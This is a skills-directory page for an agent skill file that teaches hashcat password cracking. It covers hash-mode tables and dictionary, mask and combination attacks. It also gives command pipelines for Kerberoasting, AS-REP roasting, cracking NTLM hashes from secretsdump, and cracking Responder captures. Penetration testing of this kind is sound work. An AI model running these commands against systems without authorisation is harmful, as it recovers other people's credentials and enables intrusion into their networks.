Back to skills
SKILL.md
Hashcat Crack
BSecurityhashcat: hash modes, wordlist rules, mask attacks, GPU tuning
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
75/100- Accesses sensitive system or user directories
npx -y skills add blackfoxxx/kestrel --skill hashcat-crack --agent claude-codeAre you the author of Hashcat Crack?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-hashcat-crack)---
name: hashcat-crack
description: "hashcat: hash modes, wordlist rules, mask attacks, GPU tuning"
metadata:
tags: "hashcat,crack,hash,password,ntlm,kerberos,tgs,md5,sha,password,cracking,GPU,john,hash"
category: "tool"
mcps: autopen, pentest mcp, context1337
---
# hashcat Offline Password Hash Cracking
hashcat uses GPU acceleration for hash cracking, far faster than CPU-based tools. Core workflow: **identify the hash type → select the attack mode → feed it dictionaries/rules/masks**.
## Hash Type Identification (-m parameter)
| Hash type | -m value | Source |
|----------|-------|------|
| NTLM | 1000 | hashdump / secretsdump |
| NetNTLMv1 | 5500 | Responder capture (legacy systems/downgrade attack) |
| NetNTLMv2 | 5600 | Responder / ntlmrelayx capture |
| Kerberos TGS (Kerberoast) | 13100 | GetUserSPNs.py |
| Kerberos AS-REP | 18200 | GetNPUsers.py |
| MD5 | 0 | Web database leak |
| SHA-256 | 1400 | — |
| Raw SHA-512 | 1700 | 128-character hex digest |
| sha512crypt ($6$) | 1800 | Linux /etc/shadow |
| bcrypt | 3200 | Web application |
| DCC2 (Domain Cached Credentials 2) | 2100 | secretsdump domain cached credentials |
| WPA-PBKDF2 | 22000 | WiFi handshake capture |
## Attack Modes
### Dictionary Attack (most common)
```bash
# Basic dictionary attack
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# With rules (mutate the dictionary, e.g. password → Password1!)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Common rule files
# best64.rule — 64 efficient rules, a balance of speed and effectiveness
# rockyou-30000.rule — a large rule set covering more mutations
# OneRuleToRuleThemAll.rule — the community's strongest rule set
```
### Mask Attack (known password pattern)
```bash
# 8 all-digit characters
hashcat -m 1000 hashes.txt -a 3 ?d?d?d?d?d?d?d?d
# Capitalized first letter + 6 lowercase + 1 digit (e.g. Password1)
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?l?d
# Mask character sets: ?l=lowercase ?u=uppercase ?d=digit ?s=special ?a=all
```
### Combination Attack
```bash
# Combine two dictionaries (word1+word2)
hashcat -m 1000 hashes.txt -a 1 dict1.txt dict2.txt
```
## Practical Scenarios
### Kerberoast Cracking
```bash
# GetUserSPNs.py output → hashcat
GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```
### AS-REP Roasting Cracking
```bash
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip DC_IP -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```
### NTLM Hash Cracking (hashdump/secretsdump)
```bash
# secretsdump output format: user:RID:LM:NTLM:::
# Extract the NTLM part
cat secretsdump.txt | awk -F: '{print $4}' | sort -u > ntlm.txt
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```
### NetNTLMv2 Cracking (Responder capture)
```bash
hashcat -m 5600 responder_hashes.txt /usr/share/wordlists/rockyou.txt
```
## Useful Parameters
```bash
# View already-cracked results
hashcat -m 1000 hashes.txt --show
# Resume an interrupted job
hashcat -m 1000 hashes.txt --restore
# Run on GPU only (no CPU)
hashcat -m 1000 hashes.txt -D 2
# Set the workload profile (1=low 2=default 3=high 4=extreme)
hashcat -m 1000 hashes.txt -w 3
# Kernel optimization (trades off max password length for speed, sufficient for most scenarios)
hashcat -m 1000 hashes.txt -O
# Output to a file
hashcat -m 1000 hashes.txt wordlist.txt -o cracked.txt
```
## Decision Tree
```
After obtaining a hash:
├─ Hash type known → run hashcat -m <value> directly
├─ Type uncertain → hashcat --identify hashes.txt or hashid
├─ GPU available → hashcat (preferred)
├─ No GPU / CPU-only environment → john the ripper
└─ Online lookup → hashes.org / crackstation.net (try this first, then crack)
```
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.